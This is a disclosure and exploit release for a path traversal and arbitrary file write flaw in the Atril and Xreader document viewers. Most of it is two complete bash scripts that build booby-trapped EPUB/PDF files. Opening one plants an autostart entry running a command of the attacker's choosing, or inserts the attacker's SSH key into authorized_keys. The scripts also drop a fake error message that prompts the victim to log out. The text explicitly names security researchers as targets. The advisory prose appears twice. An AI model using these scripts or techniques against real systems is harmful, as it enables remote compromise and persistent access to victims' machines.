Description:
A Critical Path traversal and Arbitrary file write vulnerability has been discovered in the default document viewer software of MATE DE affecting popular operating systems such as Kali Linux, Parrot Security OS, Ubuntu-Mate, Xubuntu and all the other Operating Systems that use MATE or Atril as default doc viewer.
Summary:
The vulnerability exists in Atril Document Viewer which is the default document viewer of the MATE environment. Atril is the default document reader for Kali Linux, Ubuntu-Mate, Parrot Security OS, and Xubuntu
This vulnerability is capable of writing arbitrary files anywhere on the filesystem to which the user opening a crafted document has access, the only limitation is that this vulnerability cannot be exploited to overwrite existing files but that doesn't stop an attacker from achieving Remote Command Execution on the target system.
I named this vulnerability "Slippy-Book"
Severity: CRITICAL
Impact: Remote Command Execution, System compromise
This can be used particularly against security researchers that mostly use Kali and Parrot OS.
Remote Command Execution can be achieved in many ways:
-
The most efficient way to achieve RCE is by placing a malicious .desktop entry under $HOME/.config/autostart/ directory, and the .desktop will execute when the user logs out and logs back in, the autostart/ directory acts as the startup folder in Windows, and it will execute all the .desktop entries that are present inside at startup. We can place an infinite number of .desktop files with random names under autostart/ directory to achieve RCE, no need to overwrite any file.
-
By writing the authorized_keys file under the .ssh/ directory inside the user's home, in this way, an attacker can immediately achieve Command Execution via SSH if the target system has SSH enabled.
-
RCE can be achieved in another way just by writing files like .bash_profile, .bash_login, .zshrc, .cshrc, .vimrc, .xsession under the user's home directory. Many of these files might be missing in operating systems, it depends on the OS. In Ubuntu-mate and similar Desktop OS, .bash_profile, and .bash_login files won't be present by default, and placing those files with malicious commands written inside under the user's home directory will result in RCE if the user logs in to the system without GUI mode, like SSH login.
-
Another way to achieve control over the target system is by writing files in places like ~/.local/bin, ~/.local/lib/python3.9/site-packages/, ~/.local/lib/python3.10/site-packages/, ~/.local/lib/python3.11/site-packages/, ~/.local/share/applications/, /var/www/html/, /var/www/ and so on.
[+] Achieving Remote Command Execution:
This vulnerability can't be exploited to overwrite existing files, it can only create new files under any specified locations, but that doesn't stop us from achieving RCE. I tried out using the vulnerability to write a .desktop entry under $HOME/.config/autostart and then I logged out and logged back in, the malicious .desktop entry got triggered and I got Remote Command Execution. I also tried out placing an authorized_keys file under .ssh/ directory and achieved RCE via SSH.
Note: If a directory is not present it will create the directory automatically.
Who knows about the Ebook format? Hasn't everyone switched to PDF?
The answer is no, EPUB is still a popular and powerful document format, but still many people prefer PDF. Most of them are familiar with PDFs. So, I was trying to maximize this vulnerabilities impact.
Another Interesting thing I noticed was, when renaming the .epub document to something.pdf, the vulnerable Document Viewer (Atril) tries to open the something.pdf file and reads it as an EPUB document because it is responsible for reading both EPUB and PDF, it also supports many other document formats as well. In other words, we can rename our crafted something.epub to something.pdf and then send it to the target to achieve RCE on the target.
So everything is good, we could create an exploit that'll craft an epub/pdf pair to write malicious .desktop entries under /home//.config/autostart/ directory. But there's a small problem, the target user's username is required for successful exploitation of this bug. What if we don't know the username? No Easy RCE? Needs to guess Username? Needs to try random common usernames? Let's see what I got..
Upon further analysis, I found out that we can use the /proc/self/cwd to access the user's home directory if he downloads the crafted document and opens it somewhere inside his home directory such as the ~/Downloads/, ~/Documents/ directory. So we can exploit the path traversal bug to achieve RCE just by using the gadget ../../../../../proc/self/cwd/../.config/autostart/exploit.desktop.
I have created a fully working exploit for this vulnerability (exploit_rce.sh) and also a script to write and include your own custom files for path traversal (exploit_file_write.sh).
[+] Proof Of Concept:
As a Proof Of Concept, create an EPUB/PDF pair that writes a text file "pwnd.txt" on the User's desktop.
-
Take a sample EPUB file, rename it as POC.epub for the demo
-
Craft the POC.epub document (In the Attacker machine)
$ echo Desktop > XXYXXYXXYXXYprocYselfYcwdYDesktopYpwnd.txt
$ echo Desktop > XXYXXYXXYXXYprocYselfYcwdYXXYDesktopYpwnd.txt
$ zip -u POC.epub XXYXXYXXYXXYprocYselfYcwdYDesktopYpwnd.txt XXYXXYXXYXXYprocYselfYcwdYXXYDesktopYpwnd.txt
$ sed -i s/"XXYXXYXXYXXYprocYselfYcwdYDesktopYpwnd.txt"/"..\/..\/..\/..\/proc\/self\/cwd\/Desktop\/pwnd.txt"/g POC.epub
$ sed -i s/"XXYXXYXXYXXYprocYselfYcwdYXXYDesktopYpwnd.txt"/"..\/..\/..\/..\/proc\/self\/cwd\/..\/Desktop\/pwnd.txt"/g POC.epub
$ cp POC.epub POC.pdf
$ rm XXYXXYXXYXXY*.txt
(The POC.epub/POC.pdf are present under the POC/ directory)
Or you can use the exploit_file_write.sh script to craft a document that places a POC.txt under /tmp when the target user opens the document.
(An EPUB/PDF pair for the above example is present under POC/ directory)
[*] NOTE: IF YOU ARE TRYING ANY OF MY POC EPUB/PDF Documents, PLEASE EMULATE A NORMAL USER BEHAVIOR AND IDEAL SETUP BY PLACING THOSE DOCS UNDER $HOME/, $HOME/Documents, $HOME/Downloads, or $HOME/Desktop
If we know the User's Username, we can craft a new custom malicious EPUB/PDF pair using exploit_file_write.sh script, it will be more efficient. Knowing the Username in a real attack scenario is no big deal, for example, if the attacker and the victim work in the same organization then the attacker can easily exploit this bug by crafting an EPUB/PDF pair with the exact path of the target's Home.
PoC Exploit Code:
exploit_rce.sh
#!/bin/bash
####################################################################################
# #
# This Exploit is still in development stage, it can be modified and tweaked to work more efficient #
# and more accurate. #
# #
####################################################################################
printf "
╔═╗┬ ┬┌─┐┌─┐┬ ┬ ╔╗ ┌─┐┌─┐┬┌─
╚═╗│ │├─┘├─┘└┬┘───╠╩╗│ ││ │├┴┐
╚═╝┴─┘┴┴ ┴ ┴ ╚═╝└─┘└─┘┴ ┴
0-day RCE Exploit for Linux desktop environments (MATE, Cinnamon, UKUI)
-by Febin (@febin_nj)
[+] Affected Software components: Atril (default document viewer of MATE DE), Xreader (Default Doc Viewer of Cinnamon DE, Mint OS)
[+] Affected OS: Linux Mint, Kali Linux, Parrot Security OS, Ubuntu-mate, Xubuntu, Ubuntu Kylin(Official chinese variant of Ubuntu ), KylinOS V10 (Chinese OS) and other OS with MATE, Cinnamon DE, Kylin DE or Atril/Xreader as default doc reader.
"
rm -rf ./XXYXXYXXYXXYXXY*
write_ssh(){
ssh-keygen -t rsa -P '' -f ./slippy_rsa
cp ./slippy_rsa.pub XXYXXYXXYXXYXXYprocYselfYcwdY.sshYauthorized_keys
cp ./slippy_rsa.pub XXYXXYXXYXXYXXYprocYselfYcwdY.ssh2Yauthorized_keys
cp ./slippy_rsa.pub XXYXXYXXYXXYXXYprocYselfYcwdYXXY.sshYauthorized_keys
cp ./slippy_rsa.pub XXYXXYXXYXXYXXYprocYselfYcwdYXXY.ssh2Yauthorized_keys
cp ./slippy_rsa.pub XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXY.sshYauthorized_keys
cp ./slippy_rsa.pub XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXY.ssh2Yauthorized_keys
cp ./slippy_rsa.pub XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXYXXY.sshYauthorized_keys
cp ./slippy_rsa.pub XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXYXXY.ssh2Yauthorized_keys
cp ./slippy_rsa.pub XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXYXXYXXY.sshYauthorized_keys
cp ./slippy_rsa.pub XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXYXXYXXY.ssh2Yauthorized_keys
zip -u "$tmpfile" XXYXXYXXYXXYXXYprocYselfYcwdY.sshYauthorized_keys XXYXXYXXYXXYXXYprocYselfYcwdY.ssh2Yauthorized_keys XXYXXYXXYXXYXXYprocYselfYcwdYXXY.sshYauthorized_keys XXYXXYXXYXXYXXYprocYselfYcwdYXXY.ssh2Yauthorized_keys XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXY.sshYauthorized_keys XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXY.ssh2Yauthorized_keys XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXYXXY.sshYauthorized_keys XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXYXXY.ssh2Yauthorized_keys XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXYXXYXXY.sshYauthorized_keys >/dev/null
sed -i s/"XXYXXYXXYXXYXXYprocYselfYcwdY.sshYauthorized_keys"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/.ssh\/authorized_keys"/g "$tmpfile"
sed -i s/"XXYXXYXXYXXYXXYprocYselfYcwdYXXY.sshYauthorized_keys"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/..\/.ssh\/authorized_keys"/g "$tmpfile"
sed -i s/"XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXY.sshYauthorized_keys"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/..\/..\/.ssh\/authorized_keys"/g "$tmpfile"
sed -i s/"XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXYXXY.sshYauthorized_keys"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/..\/..\/..\/.ssh\/authorized_keys"/g "$tmpfile"
sed -i s/"XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXYXXYXXY.sshYauthorized_keys"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/..\/..\/..\/..\/.ssh\/authorized_keys"/g "$tmpfile"
sed -i s/"XXYXXYXXYXXYXXYprocYselfYcwdY.ssh2Yauthorized_keys"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/.ssh2\/authorized_keys"/g "$tmpfile"
sed -i s/"XXYXXYXXYXXYXXYprocYselfYcwdYXXY.ssh2Yauthorized_keys"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/..\/.ssh2\/authorized_keys"/g "$tmpfile"
sed -i s/"XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXY.ssh2Yauthorized_keys"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/..\/..\/.ssh2\/authorized_keys"/g "$tmpfile"
sed -i s/"XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXYXXY.ssh2Yauthorized_keys"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/..\/..\/..\/.ssh2\/authorized_keys"/g "$tmpfile"
sed -i s/"XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXYXXYXXY.ssh2Yauthorized_keys"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/..\/..\/..\/..\/.ssh2\/authorized_keys"/g "$tmpfile"
epub="${epub%.*}.epub"
mkdir output 2> /dev/null
cp "$tmpfile" output/"$epub"
cp "$tmpfile" output/"${epub%.*}.pdf"
rm -rf "$tmpfile"
echo "
[+] Files $epub and ${epub%.*}.pdf written to output/ directory!
"
}
write_autostart(){
printf "[>] Enter the Payload/Command to execute on the target: "
read CMD
autostart_app="desktop-login${RANDOM}.desktop"
tmp_autostart="XXYXXYXXYXXYXXYprocYselfYcwdY.configYautostartY${autostart_app}"
tmp_autostart2="XXYXXYXXYXXYXXYprocYselfYcwdYXXY.configYautostartY${autostart_app}"
tmp_autostart3="XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXY.configYautostartY${autostart_app}"
tmp_autostart4="XXYXXYXXYXXYXXYprocYselfYcwdYXXYXXYXXY.configYautostartY${autostart_app}"
echo "[Desktop Entry]
Encoding=UTF-8
Version=1.0
Type=Application
Terminal=false
Exec=bash -c \"$CMD\"
Name=Desktop Service
" > "$tmp_autostart"
echo "[Desktop Entry]
Encoding=UTF-8
Version=1.0
Type=Application
Terminal=false
Exec=bash -c \"$CMD\"
Name=Desktop Service
" > "$tmp_autostart2"
echo "[Desktop Entry]
Encoding=UTF-8
Version=1.0
Type=Application
Terminal=false
Exec=bash -c \"$CMD\"
Name=Desktop Service
" > "$tmp_autostart3"
echo "[Desktop Entry]
Encoding=UTF-8
Version=1.0
Type=Application
Terminal=false
Exec=bash -c \"$CMD\"
Name=Desktop Service
" > "$tmp_autostart4"
chmod 777 $tmp_autostart
zip -u "$tmpfile" $tmp_autostart $tmp_autostart2 $tmp_autostart3 $tmp_autostart4 >/dev/null
sed -i s/"$tmp_autostart"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/.config\/autostart\/$autostart_app"/g "$tmpfile"
sed -i s/"$tmp_autostart2"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/..\/.config\/autostart\/$autostart_app"/g "$tmpfile"
sed -i s/"$tmp_autostart3"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/..\/..\/.config\/autostart\/$autostart_app"/g "$tmpfile"
sed -i s/"$tmp_autostart4"/"..\/..\/..\/..\/..\/proc\/self\/cwd\/..\/..\/..\/.config\/autostart\/$autostart_app"/g "$tmpfile"
epub="${epub%.*}.epub"
mkdir output 2>/dev/null
cp "$tmpfile" output/"$epub"
cp "$tmpfile" output/"${epub%.*}.pdf"
rm -rf "$tmpfile"
echo "
[+] Files $epub and ${epub%.*}.pdf written to output/ directory!
"
}
mainprogram(){
file $epub_path | grep "EPUB document" >/dev/null
if [ "$?" -eq "0" ]
then
epub=$(basename $epub_path)
rand=$RANDOM
tmpfile="$rand"_"$epub"
cp "$epub_path" ./"$tmpfile"
fake_error="XXYXXYXXYXXYXXYtmpYerror-${RANDOM}.log"
echo "Error opening the document!
Logging off and logging back in might fix the issue" > $fake_error
zip -u "$tmpfile" "$fake_error" >/dev/null
sed -i s/"XXYXXYXXYXXYXXYtmpY"/"..\/..\/..\/..\/..\/tmp\/"/g "$tmpfile"
rm -f "$fake_error"
echo " [1] Write an autostart app in the victim machine(Efficient, Payload will be triggered when user logs out and logs back in) [Default]"
echo " [2] Write authorized_keys file on the target machine. (Needs SSH enabled on the target)"
printf "\n [>] Enter your choice [Default: 1]: "
read choice
if [ "$choice" == "1" ]
then
write_autostart
elif [ "$choice" == "2" ]
then
write_ssh
else
echo "[-] Inavlid Choice! Going with the default option [1] "
write_autostart
fi
else
echo "[-] Error: Specified File is not an EPUB document."
exit
fi
rm -rf $tmpfile
}
printf "[>] Epub document location [Default: sample1.epub]: "
read epub_path
epub_path=${epub_path:-./sample1.epub}
if [ -e $epub_path ]
then
mainprogram
rm -rf ./XXYXXYXXYXXYXXY*
else
echo "[-] Error: Specified File does not exists."
exit
fi
rm -rf ./XXYXXYXXYXXYXXY*
exploit_file_write.sh
#!/bin/bash
printf "
╔═╗┬ ┬┌─┐┌─┐┬ ┬ ╔╗ ┌─┐┌─┐┬┌─
╚═╗│ │├─┘├─┘└┬┘───╠╩╗│ ││ │├┴┐
╚═╝┴─┘┴┴ ┴ ┴ ╚═╝└─┘└─┘┴ ┴
EPUB Path traversal Arbitrary File Write for Linux desktop environments (MATE)
-by Febin
[+] Affected Software components: Atril (default document viewer of MATE DE), Xreader (Default Doc Viewer of Mint OS)
[+] Affected OS: Kali Linux, Parrot Security OS, Ubuntu-mate, Linux Mint OS, Xubuntu and other OS with MATE or Atril/Xreader as default doc reader.
Note: This script will overwrite the specified EPUB document and also creates a .pdf file with the same name
"
epub=$1
content=$2
write_path=$3
write_epub(){
file "$epub" | grep "EPUB document" 2>/dev/null 1>/dev/null
if [[ ("$?" == "0") && (-w $content ) ]]
then
tmp_path="XXYXXYXXYXXYXXY"$(echo $write_path|tr "/" "Y")
cp "$content" "./$tmp_path"
trav_tmp_path=$(echo "$write_path"|tr "/" "Y"| awk '{gsub("Y", "\\/")};1')
#echo $trav_tmp_path
zip -u "$epub" "$tmp_path" >/dev/null
sed -i s/"${tmp_path}"/"..\/..\/..\/..\/..\/${trav_tmp_path}"/g "$epub"
cp "$epub" "${epub%.*}.pdf"
rm -f "$tmp_path"
echo "[+] Files $epub ${epub%.*}.pdf written successfully"
else
echo "[-] Error! Specified file not found or the EPUB file specified is not an EPUB document"
exit
fi
}
usage(){
echo "
.$0 <EPUB document> <File to write on target> <Full path to write on target>
Example:
$0 sample2.epub POC.txt /tmp/POC.txt
$0 ~/Documents/ebook.epub \$HOME/file.txt /poc/self/cwd/Desktop/pwned.txt
$0 ~/Documents/ebook.epub \$HOME/.ssh/id_rsa.pub /poc/self/cwd/.ssh/authorized_keys
"
}
if [[ (-z $epub) || (-z $content) || (-z $write_path) ]]
then
echo "[-] Arguments Required."
usage
else
write_epub
fi
Description:
A Critical Path traversal and Arbitrary file write vulnerability has been discovered in the default document viewer software of MATE DE affecting popular operating systems such as Kali Linux, Parrot Security OS, Ubuntu-Mate, Xubuntu and all the other Operating Systems that use MATE or Atril as default doc viewer.
Summary:
The vulnerability exists in Atril Document Viewer which is the default document viewer of the MATE environment. Atril is the default document reader for Kali Linux, Ubuntu-Mate, Parrot Security OS, and Xubuntu
This vulnerability is capable of writing arbitrary files anywhere on the filesystem to which the user opening a crafted document has access, the only limitation is that this vulnerability cannot be exploited to overwrite existing files but that doesn't stop an attacker from achieving Remote Command Execution on the target system.
I named this vulnerability "Slippy-Book"
Severity: CRITICAL
Impact: Remote Command Execution, System compromise
This can be used particularly against security researchers that mostly use Kali and Parrot OS.
Remote Command Execution can be achieved in many ways:
The most efficient way to achieve RCE is by placing a malicious .desktop entry under $HOME/.config/autostart/ directory, and the .desktop will execute when the user logs out and logs back in, the autostart/ directory acts as the startup folder in Windows, and it will execute all the .desktop entries that are present inside at startup. We can place an infinite number of .desktop files with random names under autostart/ directory to achieve RCE, no need to overwrite any file.
By writing the authorized_keys file under the .ssh/ directory inside the user's home, in this way, an attacker can immediately achieve Command Execution via SSH if the target system has SSH enabled.
RCE can be achieved in another way just by writing files like .bash_profile, .bash_login, .zshrc, .cshrc, .vimrc, .xsession under the user's home directory. Many of these files might be missing in operating systems, it depends on the OS. In Ubuntu-mate and similar Desktop OS, .bash_profile, and .bash_login files won't be present by default, and placing those files with malicious commands written inside under the user's home directory will result in RCE if the user logs in to the system without GUI mode, like SSH login.
Another way to achieve control over the target system is by writing files in places like ~/.local/bin, ~/.local/lib/python3.9/site-packages/, ~/.local/lib/python3.10/site-packages/, ~/.local/lib/python3.11/site-packages/, ~/.local/share/applications/, /var/www/html/, /var/www/ and so on.
[+] Achieving Remote Command Execution:
This vulnerability can't be exploited to overwrite existing files, it can only create new files under any specified locations, but that doesn't stop us from achieving RCE. I tried out using the vulnerability to write a .desktop entry under $HOME/.config/autostart and then I logged out and logged back in, the malicious .desktop entry got triggered and I got Remote Command Execution. I also tried out placing an authorized_keys file under .ssh/ directory and achieved RCE via SSH.
Note: If a directory is not present it will create the directory automatically.
Who knows about the Ebook format? Hasn't everyone switched to PDF?
The answer is no, EPUB is still a popular and powerful document format, but still many people prefer PDF. Most of them are familiar with PDFs. So, I was trying to maximize this vulnerabilities impact.
Another Interesting thing I noticed was, when renaming the .epub document to something.pdf, the vulnerable Document Viewer (Atril) tries to open the something.pdf file and reads it as an EPUB document because it is responsible for reading both EPUB and PDF, it also supports many other document formats as well. In other words, we can rename our crafted something.epub to something.pdf and then send it to the target to achieve RCE on the target.
So everything is good, we could create an exploit that'll craft an epub/pdf pair to write malicious .desktop entries under /home//.config/autostart/ directory. But there's a small problem, the target user's username is required for successful exploitation of this bug. What if we don't know the username? No Easy RCE? Needs to guess Username? Needs to try random common usernames? Let's see what I got..
Upon further analysis, I found out that we can use the /proc/self/cwd to access the user's home directory if he downloads the crafted document and opens it somewhere inside his home directory such as the ~/Downloads/, ~/Documents/ directory. So we can exploit the path traversal bug to achieve RCE just by using the gadget ../../../../../proc/self/cwd/../.config/autostart/exploit.desktop.
I have created a fully working exploit for this vulnerability (exploit_rce.sh) and also a script to write and include your own custom files for path traversal (exploit_file_write.sh).
[+] Proof Of Concept:
As a Proof Of Concept, create an EPUB/PDF pair that writes a text file "pwnd.txt" on the User's desktop.
Take a sample EPUB file, rename it as POC.epub for the demo
Craft the POC.epub document (In the Attacker machine)
(The POC.epub/POC.pdf are present under the POC/ directory)
Or you can use the exploit_file_write.sh script to craft a document that places a POC.txt under /tmp when the target user opens the document.
(An EPUB/PDF pair for the above example is present under POC/ directory)
[*] NOTE: IF YOU ARE TRYING ANY OF MY POC EPUB/PDF Documents, PLEASE EMULATE A NORMAL USER BEHAVIOR AND IDEAL SETUP BY PLACING THOSE DOCS UNDER $HOME/, $HOME/Documents, $HOME/Downloads, or $HOME/Desktop
If we know the User's Username, we can craft a new custom malicious EPUB/PDF pair using exploit_file_write.sh script, it will be more efficient. Knowing the Username in a real attack scenario is no big deal, for example, if the attacker and the victim work in the same organization then the attacker can easily exploit this bug by crafting an EPUB/PDF pair with the exact path of the target's Home.
PoC Exploit Code:
exploit_rce.sh
exploit_file_write.sh